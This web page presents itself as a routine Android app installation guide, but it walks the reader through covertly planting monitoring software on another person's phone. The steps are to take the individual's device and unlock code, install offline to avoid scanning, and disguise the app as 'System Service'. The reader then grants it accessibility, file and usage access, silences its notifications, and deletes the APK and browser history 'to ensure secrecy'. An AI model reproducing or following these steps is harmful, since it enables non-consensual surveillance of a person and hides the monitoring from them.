Android App Installation Guide

Complete Step-by-Step Instructions for Easy Setup
๐Ÿ“ฑ Device Preparation
๐Ÿ”ง App Configuration
โœ… Verification
1 2 3 4 5 6 7 8 9 10 โœ“
Installation Progress
1
2
3
4
5
6
7
8
9
10
Access
Download
Offline
Install
Connect
Register
Permissions
Settings
Battery
Cleanup
๐Ÿ“‹

Getting Started

Important things to know before you begin
โฐ Estimated Time: 2-3 minutes

Please read all instructions carefully before starting. Keep this guide open throughout the installation process.

1
Follow steps in order - don't skip any
2
Complete Steps 3-4 OFFLINE (turn off internet)
3
Have the device and its unlock pattern/password ready
4
Keep this guide accessible during installation
1

Get Device Access

Prepare the Android device for installation
1
Obtain the individual's mobile device
2
Ask for the device's unlock pattern or password
3
Ensure you have full access to navigate settings
2

Download the App

Get the application file from our website
1
Open any web browser on the device (Chrome, Firefox, etc.)
2
Go to: survekshak.com
3
Scroll down and find the last button on the page
4
Click the button labeled: "Download Dera File"
5
Wait patiently for download to complete
๐Ÿ“ฑ Where to find downloaded file?
After download, look in your browser's "Downloads" section or check "Files" app โ†’ "Download" folder
3

Go Offline

Disconnect internet before installation
1
Open Quick Settings (swipe down from top)
2
Tap Wi-Fi icon to turn it OFF (gray means off)
3
Tap Mobile Data icon to turn it OFF
4
Verify device is completely offline (no internet access)
๐Ÿšจ CRITICAL STEP - DO NOT SKIP

This step must be completed before proceeding to installation. The app will only install properly when device is offline.

4

Install Application

Install the downloaded file on device
1
Open Files app and go to "Downloads" folder
2
Tap the downloaded APK file (ends with .apk)
3
If asked about "Unknown Sources", tap "Settings" โ†’ Enable "Allow from this source"
4
Follow the on-screen prompts to complete installation
5
Once finished, tap "Done" (not "Open")
5

Reconnect Internet

Turn internet back on for registration
1
Swipe down for Quick Settings
2
Tap Wi-Fi icon to turn ON (blue means on)
3
Turn on Mobile Data if needed
4
Enable Location Services (GPS)
๐ŸŒ Verify Connection
Open browser and visit any website to confirm internet is working properly
6

Register Application

Activate the app with unique code
1
Go back to survekshak.com in browser
2
Tap "Refresh" button on browser
3
Click the second button labeled "Update Dera Data"
4
The installed app will automatically open
๐Ÿ“ Registration Code Format:
48 + [Company First Letter] + [Owner's First Name]
Example: Alpha company, owner Fareed = 48AFareed
5
When prompted, enter your Unique Registration Code
6
Double-check code for correct spelling
7
Tap "Submit" or "OK"
7

Allow Permissions

Grant necessary app permissions
๐Ÿ”‘ Grant All Permissions
The app needs all requested permissions to function properly. Tap "Allow" for every permission request.
1
When asked for Accessibility Service, tap "Go to Settings"
2
Find "System Service" in the list (even if greyed out)
3
Tap it and return to the app
4
For Battery Optimization, choose: "Allow" or "No Restriction"
5
Close the app completely after permissions are granted
8

Advanced Settings

Configure app for optimal performance
A. Enable Restricted Settings
1
Go to Settings โ†’ Apps
2
Find and tap "System Service"
3
Tap three dots (โ‹ฎ) โ†’ "Allow Restricted Settings"
B. Disable Notifications
1
In "System Service" settings, go to "Notifications"
2
Turn OFF all notification toggles
C. Battery Management
1
In "System Service" settings, find "Battery Usage"
2
Enable "Allow Background Activity"
3
Enable "Allow Auto Launch"
D. Enable Accessibility
1
Go to Settings โ†’ Accessibility
2
Find "System Service" (now accessible)
3
Toggle ON and return to home screen
E. File Access Permission
1
Search "All File Access" in Settings
2
Find "System Service" โ†’ Enable permission
F. Usage Access Permission
1
Search "Usage Access" in Settings
2
Find "System Service" โ†’ Enable permission
9

Battery & Autostart Settings

Prevent system from stopping the app and allow auto-launch
โญ๏ธ SKIP THIS SECTION IF:
You successfully completed Step C (Battery Management) in Section 8 with both "Allow Background Activity" and "Allow Auto Launch".
๐Ÿ“ฑ Battery Optimization Settings
1
Go to Settings โ†’ Battery โ†’ Battery Optimization
2
Tap dropdown and select "All Apps"
3
Find "System Service" in the list
4
Change to: "Don't Optimize"
5
Confirm the setting
โœ“ Verification:
Battery Optimization for "System Service" should show: "Don't Optimize"
๐Ÿš€ Autostart Permission
1
In Settings, search for "Autostart" or "Background Autostart"
2
Alternative path: Settings โ†’ Apps โ†’ Special Permissions โ†’ Autostart
3
Find "System Service" in the applications list
4
Enable the toggle switch for autostart
5
Select "Allow Unrestricted Data" if prompted
๐Ÿ” Can't Find Autostart?
Some Android devices don't have Autostart settings. If you can't find it, don't worry - the Battery Optimization setting is usually sufficient.
๐ŸŽฏ What These Settings Do:
Battery Optimization:
Prevents Android from putting the app to sleep to save battery
Autostart:
Allows app to start automatically after device restart
10

Cleanup & Finish

Remove installation files for security
1
Open Files app or browser downloads
2
Delete the downloaded APK file
3
Open browser and clear browsing history
4
Clear download history as well
๐Ÿงน Why Cleanup?
Removing installation files ensures secrecy of the App.
โœ…

Verification Checklist

Confirm everything is properly configured
๐Ÿ“‹ Click each item to mark as complete
Verify all permissions are correctly set for optimal app performance.

App Permissions Checklist

โœ“
Accessibility Service: Enabled
โœ“
Battery: Don't Optimize
โœ“
Restricted Settings: Allowed
โœ“
File Access: Allowed
โœ“
Usage Access: Enabled
โœ“
Background Activity: Allowed
โœ“
Auto Launch: Enabled
โœ“
Notifications: Disabled

Cleanup Checklist

โœ“
APK file: Deleted
โœ“
Browser history: Cleared
โš ๏ธ IMPORTANT REMINDERS
1
Installation MUST be done OFFLINE (Steps 3-4)
2
Registration code format: 48 + Company Initial + First Name
3
System Service must remain enabled in all settings